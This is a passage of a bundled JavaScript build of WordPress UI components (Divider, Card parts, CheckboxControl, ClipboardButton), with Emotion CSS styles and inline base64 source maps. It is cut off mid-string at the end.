35740 var renderBorder = ({
35741 "aria-orientation": orientation = "horizontal"
35742 }) => {
35743 return /* @__PURE__ */ css({
35744 [orientation === "vertical" ? "borderRight" : "borderBottom"]: "1px solid currentColor"
35745 }, false ? "" : ";label:renderBorder;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwRFEiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRGl2aWRlclByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IE1BUkdJTl9ESVJFQ1RJT05TOiBSZWNvcmQ8XG5cdE5vbk51bGxhYmxlPCBEaXZpZGVyUHJvcHNbICdvcmllbnRhdGlvbicgXSA+LFxuXHRSZWNvcmQ8ICdzdGFydCcgfCAnZW5kJywgc3RyaW5nID5cbj4gPSB7XG5cdHZlcnRpY2FsOiB7XG5cdFx0c3RhcnQ6ICdtYXJnaW5MZWZ0Jyxcblx0XHRlbmQ6ICdtYXJnaW5SaWdodCcsXG5cdH0sXG5cdGhvcml6b250YWw6IHtcblx0XHRzdGFydDogJ21hcmdpblRvcCcsXG5cdFx0ZW5kOiAnbWFyZ2luQm90dG9tJyxcblx0fSxcbn07XG5cbi8vIFJlbmRlcnMgdGhlIGNvcnJlY3QgbWFyZ2lucyBnaXZlbiB0aGUgRGl2aWRlcidzIGBvcmllbnRhdGlvbmAgYW5kIHRoZSB3cml0aW5nIGRpcmVjdGlvbi5cbi8vIFdoZW4gYm90aCB0aGUgZ2VuZXJpYyBgbWFyZ2luYCBhbmQgdGhlIHNwZWNpZmljIGBtYXJnaW5TdGFydHxtYXJnaW5FbmRgIHByb3BzIGFyZSBkZWZpbmVkLFxuLy8gdGhlIGxhdHRlciB3aWxsIHRha2UgcHJpb3JpdHkuXG5jb25zdCByZW5kZXJNYXJnaW4gPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcblx0bWFyZ2luLFxuXHRtYXJnaW5TdGFydCxcblx0bWFyZ2luRW5kLFxufTogRGl2aWRlclByb3BzICkgPT5cblx0Y3NzKFxuXHRcdHJ0bCgge1xuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5zdGFydCBdOiBzcGFjZShcblx0XHRcdFx0bWFyZ2luU3RhcnQgPz8gbWFyZ2luXG5cdFx0XHQpLFxuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5lbmQgXTogc3BhY2UoXG5cdFx0XHRcdG1hcmdpbkVuZCA/PyBtYXJnaW5cblx0XHRcdCksXG5cdFx0fSApKClcblx0KTtcblxuY29uc3QgcmVuZGVyRGlzcGxheSA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCdcblx0XHQ/IGNzcyggeyBkaXNwbGF5OiAnaW5saW5lJyB9IClcblx0XHQ6IHVuZGVmaW5lZDtcbn07XG5cbmNvbnN0IHJlbmRlckJvcmRlciA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0WyBvcmllbnRhdGlvbiA9PT0gJ3ZlcnRpY2FsJyA/ICdib3JkZXJSaWdodCcgOiAnYm9yZGVyQm90dG9tJyBdOlxuXHRcdFx0JzFweCBzb2xpZCBjdXJyZW50Q29sb3InLFxuXHR9ICk7XG59O1xuXG5jb25zdCByZW5kZXJTaXplID0gKCB7XG5cdCdhcmlhLW9yaWVudGF0aW9uJzogb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcsXG59OiBEaXZpZGVyUHJvcHMgKSA9PlxuXHRjc3MoIHtcblx0XHRoZWlnaHQ6IG9yaWVudGF0aW9uID09PSAndmVydGljYWwnID8gJ2F1dG8nIDogMCxcblx0XHR3aWR0aDogb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCcgPyAwIDogJ2F1dG8nLFxuXHR9ICk7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyVmlldyA9IHN0eWxlZC5ocjwgRGl2aWRlclByb3BzID5gXG5cdGJvcmRlcjogMDtcblx0bWFyZ2luOiAwO1xuXG5cdCR7IHJlbmRlckRpc3BsYXkgfVxuXHQkeyByZW5kZXJCb3JkZXIgfVxuXHQkeyByZW5kZXJTaXplIH1cblx0JHsgcmVuZGVyTWFyZ2luIH1cbmA7XG4iXX0= */");
35746 };
35747 var renderSize = ({
35748 "aria-orientation": orientation = "horizontal"
35749 }) => /* @__PURE__ */ css({
35750 height: orientation === "vertical" ? "auto" : 0,
35751 width: orientation === "vertical" ? 0 : "auto"
35752 }, false ? "" : ";label:renderSize;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtRUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRGl2aWRlclByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IE1BUkdJTl9ESVJFQ1RJT05TOiBSZWNvcmQ8XG5cdE5vbk51bGxhYmxlPCBEaXZpZGVyUHJvcHNbICdvcmllbnRhdGlvbicgXSA+LFxuXHRSZWNvcmQ8ICdzdGFydCcgfCAnZW5kJywgc3RyaW5nID5cbj4gPSB7XG5cdHZlcnRpY2FsOiB7XG5cdFx0c3RhcnQ6ICdtYXJnaW5MZWZ0Jyxcblx0XHRlbmQ6ICdtYXJnaW5SaWdodCcsXG5cdH0sXG5cdGhvcml6b250YWw6IHtcblx0XHRzdGFydDogJ21hcmdpblRvcCcsXG5cdFx0ZW5kOiAnbWFyZ2luQm90dG9tJyxcblx0fSxcbn07XG5cbi8vIFJlbmRlcnMgdGhlIGNvcnJlY3QgbWFyZ2lucyBnaXZlbiB0aGUgRGl2aWRlcidzIGBvcmllbnRhdGlvbmAgYW5kIHRoZSB3cml0aW5nIGRpcmVjdGlvbi5cbi8vIFdoZW4gYm90aCB0aGUgZ2VuZXJpYyBgbWFyZ2luYCBhbmQgdGhlIHNwZWNpZmljIGBtYXJnaW5TdGFydHxtYXJnaW5FbmRgIHByb3BzIGFyZSBkZWZpbmVkLFxuLy8gdGhlIGxhdHRlciB3aWxsIHRha2UgcHJpb3JpdHkuXG5jb25zdCByZW5kZXJNYXJnaW4gPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcblx0bWFyZ2luLFxuXHRtYXJnaW5TdGFydCxcblx0bWFyZ2luRW5kLFxufTogRGl2aWRlclByb3BzICkgPT5cblx0Y3NzKFxuXHRcdHJ0bCgge1xuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5zdGFydCBdOiBzcGFjZShcblx0XHRcdFx0bWFyZ2luU3RhcnQgPz8gbWFyZ2luXG5cdFx0XHQpLFxuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5lbmQgXTogc3BhY2UoXG5cdFx0XHRcdG1hcmdpbkVuZCA/PyBtYXJnaW5cblx0XHRcdCksXG5cdFx0fSApKClcblx0KTtcblxuY29uc3QgcmVuZGVyRGlzcGxheSA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCdcblx0XHQ/IGNzcyggeyBkaXNwbGF5OiAnaW5saW5lJyB9IClcblx0XHQ6IHVuZGVmaW5lZDtcbn07XG5cbmNvbnN0IHJlbmRlckJvcmRlciA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0WyBvcmllbnRhdGlvbiA9PT0gJ3ZlcnRpY2FsJyA/ICdib3JkZXJSaWdodCcgOiAnYm9yZGVyQm90dG9tJyBdOlxuXHRcdFx0JzFweCBzb2xpZCBjdXJyZW50Q29sb3InLFxuXHR9ICk7XG59O1xuXG5jb25zdCByZW5kZXJTaXplID0gKCB7XG5cdCdhcmlhLW9yaWVudGF0aW9uJzogb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcsXG59OiBEaXZpZGVyUHJvcHMgKSA9PlxuXHRjc3MoIHtcblx0XHRoZWlnaHQ6IG9yaWVudGF0aW9uID09PSAndmVydGljYWwnID8gJ2F1dG8nIDogMCxcblx0XHR3aWR0aDogb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCcgPyAwIDogJ2F1dG8nLFxuXHR9ICk7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyVmlldyA9IHN0eWxlZC5ocjwgRGl2aWRlclByb3BzID5gXG5cdGJvcmRlcjogMDtcblx0bWFyZ2luOiAwO1xuXG5cdCR7IHJlbmRlckRpc3BsYXkgfVxuXHQkeyByZW5kZXJCb3JkZXIgfVxuXHQkeyByZW5kZXJTaXplIH1cblx0JHsgcmVuZGVyTWFyZ2luIH1cbmA7XG4iXX0= */");
35753 var DividerView = /* @__PURE__ */ createStyled("hr", false ? {
35754 target: "e19on6iw0"
35755 } : {
35756 target: "e19on6iw0",
35757 label: "DividerView"
35758 })("border:0;margin:0;", renderDisplay, " ", renderBorder, " ", renderSize, " ", renderMargin, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RW9EIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBydGwgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IERpdmlkZXJQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5jb25zdCBNQVJHSU5fRElSRUNUSU9OUzogUmVjb3JkPFxuXHROb25OdWxsYWJsZTwgRGl2aWRlclByb3BzWyAnb3JpZW50YXRpb24nIF0gPixcblx0UmVjb3JkPCAnc3RhcnQnIHwgJ2VuZCcsIHN0cmluZyA+XG4+ID0ge1xuXHR2ZXJ0aWNhbDoge1xuXHRcdHN0YXJ0OiAnbWFyZ2luTGVmdCcsXG5cdFx0ZW5kOiAnbWFyZ2luUmlnaHQnLFxuXHR9LFxuXHRob3Jpem9udGFsOiB7XG5cdFx0c3RhcnQ6ICdtYXJnaW5Ub3AnLFxuXHRcdGVuZDogJ21hcmdpbkJvdHRvbScsXG5cdH0sXG59O1xuXG4vLyBSZW5kZXJzIHRoZSBjb3JyZWN0IG1hcmdpbnMgZ2l2ZW4gdGhlIERpdmlkZXIncyBgb3JpZW50YXRpb25gIGFuZCB0aGUgd3JpdGluZyBkaXJlY3Rpb24uXG4vLyBXaGVuIGJvdGggdGhlIGdlbmVyaWMgYG1hcmdpbmAgYW5kIHRoZSBzcGVjaWZpYyBgbWFyZ2luU3RhcnR8bWFyZ2luRW5kYCBwcm9wcyBhcmUgZGVmaW5lZCxcbi8vIHRoZSBsYXR0ZXIgd2lsbCB0YWtlIHByaW9yaXR5LlxuY29uc3QgcmVuZGVyTWFyZ2luID0gKCB7XG5cdCdhcmlhLW9yaWVudGF0aW9uJzogb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcsXG5cdG1hcmdpbixcblx0bWFyZ2luU3RhcnQsXG5cdG1hcmdpbkVuZCxcbn06IERpdmlkZXJQcm9wcyApID0+XG5cdGNzcyhcblx0XHRydGwoIHtcblx0XHRcdFsgTUFSR0lOX0RJUkVDVElPTlNbIG9yaWVudGF0aW9uIF0uc3RhcnQgXTogc3BhY2UoXG5cdFx0XHRcdG1hcmdpblN0YXJ0ID8/IG1hcmdpblxuXHRcdFx0KSxcblx0XHRcdFsgTUFSR0lOX0RJUkVDVElPTlNbIG9yaWVudGF0aW9uIF0uZW5kIF06IHNwYWNlKFxuXHRcdFx0XHRtYXJnaW5FbmQgPz8gbWFyZ2luXG5cdFx0XHQpLFxuXHRcdH0gKSgpXG5cdCk7XG5cbmNvbnN0IHJlbmRlckRpc3BsYXkgPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcbn06IERpdmlkZXJQcm9wcyApID0+IHtcblx0cmV0dXJuIG9yaWVudGF0aW9uID09PSAndmVydGljYWwnXG5cdFx0PyBjc3MoIHsgZGlzcGxheTogJ2lubGluZScgfSApXG5cdFx0OiB1bmRlZmluZWQ7XG59O1xuXG5jb25zdCByZW5kZXJCb3JkZXIgPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcbn06IERpdmlkZXJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdFsgb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCcgPyAnYm9yZGVyUmlnaHQnIDogJ2JvcmRlckJvdHRvbScgXTpcblx0XHRcdCcxcHggc29saWQgY3VycmVudENvbG9yJyxcblx0fSApO1xufTtcblxuY29uc3QgcmVuZGVyU2l6ZSA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT5cblx0Y3NzKCB7XG5cdFx0aGVpZ2h0OiBvcmllbnRhdGlvbiA9PT0gJ3ZlcnRpY2FsJyA/ICdhdXRvJyA6IDAsXG5cdFx0d2lkdGg6IG9yaWVudGF0aW9uID09PSAndmVydGljYWwnID8gMCA6ICdhdXRvJyxcblx0fSApO1xuXG5leHBvcnQgY29uc3QgRGl2aWRlclZpZXcgPSBzdHlsZWQuaHI8IERpdmlkZXJQcm9wcyA+YFxuXHRib3JkZXI6IDA7XG5cdG1hcmdpbjogMDtcblxuXHQkeyByZW5kZXJEaXNwbGF5IH1cblx0JHsgcmVuZGVyQm9yZGVyIH1cblx0JHsgcmVuZGVyU2l6ZSB9XG5cdCR7IHJlbmRlck1hcmdpbiB9XG5gO1xuIl19 */"));
35759
35760 // packages/components/build-module/divider/component.mjs
35761 var import_jsx_runtime164 = __toESM(require_jsx_runtime(), 1);
35762 function UnconnectedDivider(props, forwardedRef) {
35763 const contextProps = useContextSystem(props, "Divider");
35764 return /* @__PURE__ */ (0, import_jsx_runtime164.jsx)(Separator, {
35765 render: /* @__PURE__ */ (0, import_jsx_runtime164.jsx)(DividerView, {}),
35766 ...contextProps,
35767 ref: forwardedRef
35768 });
35769 }
35770 var Divider2 = contextConnect(UnconnectedDivider, "Divider");
35771 var component_default30 = Divider2;
35772
35773 // packages/components/build-module/card/card-divider/hook.mjs
35774 var import_element101 = __toESM(require_element(), 1);
35775 function useCardDivider(props) {
35776 const {
35777 className: className2,
35778 ...otherProps
35779 } = useContextSystem(props, "CardDivider");
35780 const cx3 = useCx();
35781 const classes = (0, import_element101.useMemo)(() => cx3(
35782 Divider,
35783 borderColor,
35784 // This classname is added for legacy compatibility reasons.
35785 "components-card__divider",
35786 className2
35787 ), [className2, cx3]);
35788 return {
35789 ...otherProps,
35790 className: classes
35791 };
35792 }
35793
35794 // packages/components/build-module/card/card-divider/component.mjs
35795 var import_jsx_runtime165 = __toESM(require_jsx_runtime(), 1);
35796 function UnconnectedCardDivider(props, forwardedRef) {
35797 const dividerProps = useCardDivider(props);
35798 return /* @__PURE__ */ (0, import_jsx_runtime165.jsx)(component_default30, {
35799 ...dividerProps,
35800 ref: forwardedRef
35801 });
35802 }
35803 var CardDivider = contextConnect(UnconnectedCardDivider, "CardDivider");
35804 var component_default31 = CardDivider;
35805
35806 // packages/components/build-module/card/card-footer/hook.mjs
35807 var import_element102 = __toESM(require_element(), 1);
35808 function useCardFooter(props) {
35809 const {
35810 className: className2,
35811 justify,
35812 isBorderless = false,
35813 isShady = false,
35814 size: size3 = "medium",
35815 ...otherProps
35816 } = useContextSystem(props, "CardFooter");
35817 const cx3 = useCx();
35818 const classes = (0, import_element102.useMemo)(() => cx3(
35819 Footer,
35820 borderRadius,
35821 borderColor,
35822 getPaddingBySize(size3),
35823 isBorderless && borderless,
35824 isShady && shady,
35825 // This classname is added for legacy compatibility reasons.
35826 "components-card__footer",
35827 className2
35828 ), [className2, cx3, isBorderless, isShady, size3]);
35829 return {
35830 ...otherProps,
35831 className: classes,
35832 justify
35833 };
35834 }
35835
35836 // packages/components/build-module/card/card-footer/component.mjs
35837 var import_jsx_runtime166 = __toESM(require_jsx_runtime(), 1);
35838 function UnconnectedCardFooter(props, forwardedRef) {
35839 const footerProps = useCardFooter(props);
35840 return /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(component_default3, {
35841 ...footerProps,
35842 ref: forwardedRef
35843 });
35844 }
35845 var CardFooter = contextConnect(UnconnectedCardFooter, "CardFooter");
35846 var component_default32 = CardFooter;
35847
35848 // packages/components/build-module/card/card-header/hook.mjs
35849 var import_element103 = __toESM(require_element(), 1);
35850 function useCardHeader(props) {
35851 const {
35852 className: className2,
35853 isBorderless = false,
35854 isShady = false,
35855 size: size3 = "medium",
35856 ...otherProps
35857 } = useContextSystem(props, "CardHeader");
35858 const cx3 = useCx();
35859 const classes = (0, import_element103.useMemo)(() => cx3(
35860 Header,
35861 borderRadius,
35862 borderColor,
35863 getPaddingBySize(size3),
35864 isBorderless && borderless,
35865 isShady && shady,
35866 // This classname is added for legacy compatibility reasons.
35867 "components-card__header",
35868 className2
35869 ), [className2, cx3, isBorderless, isShady, size3]);
35870 return {
35871 ...otherProps,
35872 className: classes
35873 };
35874 }
35875
35876 // packages/components/build-module/card/card-header/component.mjs
35877 var import_jsx_runtime167 = __toESM(require_jsx_runtime(), 1);
35878 function UnconnectedCardHeader(props, forwardedRef) {
35879 const headerProps = useCardHeader(props);
35880 return /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(component_default3, {
35881 ...headerProps,
35882 ref: forwardedRef
35883 });
35884 }
35885 var CardHeader = contextConnect(UnconnectedCardHeader, "CardHeader");
35886 var component_default33 = CardHeader;
35887
35888 // packages/components/build-module/card/card-media/hook.mjs
35889 var import_element104 = __toESM(require_element(), 1);
35890 function useCardMedia(props) {
35891 const {
35892 className: className2,
35893 ...otherProps
35894 } = useContextSystem(props, "CardMedia");
35895 const cx3 = useCx();
35896 const classes = (0, import_element104.useMemo)(() => cx3(
35897 Media,
35898 borderRadius,
35899 // This classname is added for legacy compatibility reasons.
35900 "components-card__media",
35901 className2
35902 ), [className2, cx3]);
35903 return {
35904 ...otherProps,
35905 className: classes
35906 };
35907 }
35908
35909 // packages/components/build-module/card/card-media/component.mjs
35910 var import_jsx_runtime168 = __toESM(require_jsx_runtime(), 1);
35911 function UnconnectedCardMedia(props, forwardedRef) {
35912 const cardMediaProps = useCardMedia(props);
35913 return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(component_default, {
35914 ...cardMediaProps,
35915 ref: forwardedRef
35916 });
35917 }
35918 var CardMedia = contextConnect(UnconnectedCardMedia, "CardMedia");
35919 var component_default34 = CardMedia;
35920
35921 // packages/components/build-module/checkbox-control/index.mjs
35922 var import_element105 = __toESM(require_element(), 1);
35923 var import_compose39 = __toESM(require_compose(), 1);
35924 var import_deprecated12 = __toESM(require_deprecated(), 1);
35925 var import_jsx_runtime169 = __toESM(require_jsx_runtime(), 1);
35926 function CheckboxControl(props) {
35927 const {
35928 // Prevent passing this to `input`.
35929 __nextHasNoMarginBottom: _2,
35930 label,
35931 className: className2,
35932 heading,
35933 checked,
35934 indeterminate,
35935 help,
35936 id: idProp,
35937 onChange,
35938 onClick,
35939 ...additionalProps
35940 } = props;
35941 if (heading) {
35942 (0, import_deprecated12.default)("`heading` prop in `CheckboxControl`", {
35943 alternative: "a separate element to implement a heading",
35944 since: "5.8"
35945 });
35946 }
35947 const [showCheckedIcon, setShowCheckedIcon] = (0, import_element105.useState)(false);
35948 const [showIndeterminateIcon, setShowIndeterminateIcon] = (0, import_element105.useState)(false);
35949 const ref = (0, import_compose39.useRefEffect)((node2) => {
35950 if (!node2) {
35951 return;
35952 }
35953 node2.indeterminate = !!indeterminate;
35954 setShowCheckedIcon(node2.matches(":checked"));
35955 setShowIndeterminateIcon(node2.matches(":indeterminate"));
35956 }, [checked, indeterminate]);
35957 const id3 = (0, import_compose39.useInstanceId)(CheckboxControl, "inspector-checkbox-control", idProp);
35958 const onChangeValue = (event) => onChange(event.target.checked);
35959 return /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(base_control_default, {
35960 label: heading,
35961 id: id3,
35962 help: help && /* @__PURE__ */ (0, import_jsx_runtime169.jsx)("span", {
35963 className: "components-checkbox-control__help",
35964 children: help
35965 }),
35966 className: clsx_default("components-checkbox-control", className2),
35967 children: /* @__PURE__ */ (0, import_jsx_runtime169.jsxs)(component_default9, {
35968 spacing: 0,
35969 justify: "start",
35970 alignment: "top",
35971 children: [/* @__PURE__ */ (0, import_jsx_runtime169.jsxs)("span", {
35972 className: "components-checkbox-control__input-container",
35973 children: [/* @__PURE__ */ (0, import_jsx_runtime169.jsx)("input", {
35974 ref,
35975 id: id3,
35976 className: "components-checkbox-control__input",
35977 type: "checkbox",
35978 value: "1",
35979 onChange: onChangeValue,
35980 checked,
35981 "aria-describedby": !!help ? id3 + "__help" : void 0,
35982 onClick: (event) => {
35983 event.currentTarget.focus();
35984 onClick?.(event);
35985 },
35986 ...additionalProps
35987 }), showIndeterminateIcon ? /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(icon_default2, {
35988 icon: reset_default,
35989 className: "components-checkbox-control__indeterminate",
35990 role: "presentation"
35991 }) : null, showCheckedIcon ? /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(icon_default2, {
35992 icon: check_default,
35993 className: "components-checkbox-control__checked",
35994 role: "presentation"
35995 }) : null]
35996 }), label && /* @__PURE__ */ (0, import_jsx_runtime169.jsx)("label", {
35997 className: "components-checkbox-control__label",
35998 htmlFor: id3,
35999 children: label
36000 })]
36001 })
36002 });
36003 }
36004 var checkbox_control_default = CheckboxControl;
36005
36006 // packages/components/build-module/clipboard-button/index.mjs
36007 var import_element106 = __toESM(require_element(), 1);
36008 var import_compose40 = __toESM(require_compose(), 1);
36009 var import_deprecated13 = __toESM(require_deprecated(), 1);
36010 var import_jsx_runtime170 = __toESM(require_jsx_runtime(), 1);
36011 var TIMEOUT = 4e3;
36012 function ClipboardButton({
36013 className: className2,
36014 children,
36015 onCopy,
36016 onFinishCopy,
36017 text,
36018 ...buttonProps
36019 }) {
36020 (0, import_deprecated13.default)("wp.components.ClipboardButton", {
36021 since: "5.8",
36022 alternative: "wp.compose.useCopyToClipboard"
36023 });
36024 const timeoutIdRef = (0, import_element106.useRef)(void 0);
36025 const ref = (0, import_compose40.useCopyToClipboard)(text, () => {
36026 onCopy();
36027 if (timeoutIdRef.current) {
36028 clearTimeout(timeoutIdRef.current);
36029 }
36030 if (onFinishCopy) {
36031 timeoutIdRef.current = setTimeout(() => onFinishCopy(), TIMEOUT);
36032 }
36033 });
36034 (0, import_element106.useEffect)(() => {
36035 return () => {
36036 if (timeoutIdRef.current) {
36037 clearTimeout(timeoutIdRef.current);
36038 }
36039 };
36040 }, []);
36041 const classes = clsx_default("components-clipboard-button", className2);
36042 const focusOnCopyEventTarget = (event) => {
36043 event.target.focus();
36044 };
36045 return (
36046 // Disable reasons: the parent component takes care of the __next40pxDefaultSize prop.
36047 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
36048 /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(button_default, {
36049 ...buttonProps,
36050 className: classes,
36051 ref,
36052 onCopy: focusOnCopyEventTarget,
36053 children
36054 })
36055 );
36056 }
36057
36058 // packages/components/build-module/palette-edit/index.mjs
36059 var import_element115 = __toESM(require_element(), 1);
36060 var import_i18n35 = __toESM(require_i18n(), 1);
36061 var import_compose43 = __toESM(require_compose(), 1);
36062
36063 // packages/components/build-module/item-group/item/hook.mjs
36064 var import_element108 = __toESM(require_element(), 1);
36065
36066 // packages/components/build-module/item-group/styles.mjs
36067 function _EMOTION_STRINGIFIED_CSS_ERROR__22() {
36068 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
36069 }
36070 var unstyledButton = (as) => {
36071 return /* @__PURE__ */ css("font-size:", font("default.fontSize"), ";font-family:inherit;appearance:none;border:1px solid transparent;cursor:pointer;background:none;text-align:start;text-decoration:", as === "a" ? "none" : void 0, ";svg,path{fill:currentColor;}&:hover{color:", COLORS.theme.accent, ";}&:focus{box-shadow:none;outline:none;}&:focus-visible{box-shadow:0 0 0 var( --wp-admin-border-width-focus ) ", COLORS.theme.accent, ";outline:2px solid transparent;outline-offset:0;}" + (false ? "" : ";label:unstyledButton;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFXVyIsImZpbGUiOiJzdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTkZJRywgQ09MT1JTLCBmb250IH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5leHBvcnQgY29uc3QgdW5zdHlsZWRCdXR0b24gPSAoIGFzOiAnYScgfCAnYnV0dG9uJyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRmb250LXNpemU6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRTaXplJyApIH07XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0YXBwZWFyYW5jZTogbm9uZTtcblx0XHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHR0ZXh0LWFsaWduOiBzdGFydDtcblx0XHR0ZXh0LWRlY29yYXRpb246ICR7IGFzID09PSAnYScgPyAnbm9uZScgOiB1bmRlZmluZWQgfTtcblxuXHRcdHN2Zyxcblx0XHRwYXRoIHtcblx0XHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0XHR9XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXG5cdFx0Jjpmb2N1cyB7XG5cdFx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdFx0b3V0bGluZTogbm9uZTtcblx0XHR9XG5cblx0XHQmOmZvY3VzLXZpc2libGUge1xuXHRcdFx0Ym94LXNoYWRvdzogMCAwIDAgdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApXG5cdFx0X